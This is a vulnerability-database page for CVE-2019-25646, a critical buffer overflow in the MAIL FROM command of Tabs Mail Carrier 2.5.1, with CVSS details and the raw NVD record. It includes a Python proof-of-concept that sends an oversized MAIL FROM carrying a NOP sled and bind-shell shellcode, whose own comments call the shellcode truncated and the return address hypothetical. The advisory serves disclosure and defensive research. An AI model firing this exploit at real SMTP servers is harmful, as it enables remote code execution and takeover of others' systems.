Security Vulnerability Report
中文
CVE-2019-25646 CVSS 9.8 CRITICAL

CVE-2019-25646

Published: 2026-03-24 12:16:07
Last Modified: 2026-03-25 21:44:49

Description

Tabs Mail Carrier 2.5.1 contains a buffer overflow vulnerability in the MAIL FROM SMTP command that allows remote attackers to execute arbitrary code by sending a crafted MAIL FROM parameter. Attackers can connect to the SMTP service on port 25 and send a malicious MAIL FROM command with an oversized buffer to overwrite the EIP register and execute a bind shell payload.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:tabslab:mailcarrier:2.5.1:*:*:*:*:*:*:* - VULNERABLE
Tabs Mail Carrier 2.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Target configuration target_ip = "TARGET_IP" target_port = 25 # Malicious buffer construction # Padding to overwrite EIP + Return Address + NOP Sled + Shellcode # Offsets may vary based on specific environment/version offset = 260 ret_addr = "\xAF\x11\x50\x62" # Hypothetical address containing JMP ESP nop_sled = "\x90" * 32 # Example Shellcode (Bind shell on port 4444) shellcode = ("\xd9\xc8\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x56\x31\x43" "\x13\x03\x43\x13\x83\xc3\x02\xe2\xf9\x6b\x2f\xc3" "\x6b\x2f\xc3\x6b\x2f\xc3\x6b\x2f\xc3\x6b\x2f\xc3") # Truncated for safety/demo payload = "A" * offset + ret_addr + nop_sled + shellcode try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(s.recv(1024)) # Receive SMTP banner s.send(b"EHLO poc\r\n") print(s.recv(1024)) # Trigger the buffer overflow via MAIL FROM s.send(bytes("MAIL FROM: <" + payload + "@evil.com>\r\n", "latin-1")) print("Payload sent successfully.") s.close() except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2019-25646", "sourceIdentifier": "[email protected]", "published": "2026-03-24T12:16:07.217", "lastModified": "2026-03-25T21:44:48.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tabs Mail Carrier 2.5.1 contains a buffer overflow vulnerability in the MAIL FROM SMTP command that allows remote attackers to execute arbitrary code by sending a crafted MAIL FROM parameter. Attackers can connect to the SMTP service on port 25 and send a malicious MAIL FROM command with an oversized buffer to overwrite the EIP register and execute a bind shell payload."}, {"lang": "es", "value": "Tabs Mail Carrier 2.5.1 contiene una vulnerabilidad de desbordamiento de búfer en el comando SMTP MAIL FROM que permite a atacantes remotos ejecutar código arbitrario enviando un parámetro MAIL FROM manipulado. Los atacantes pueden conectarse al servicio SMTP en el puerto 25 y enviar un comando MAIL FROM malicioso con un búfer sobredimensionado para sobrescribir el registro EIP y ejecutar una carga útil de bind shell."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tabslab:mailcarrier:2.5.1:*:*:*:*:*:*:*", "matchCriteriaId": "6FE4030C-8E33-4ACB-937D-C4802909067F"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/46547", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/tabs-mail-carrier-buffer-overflow-via-mail-from", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}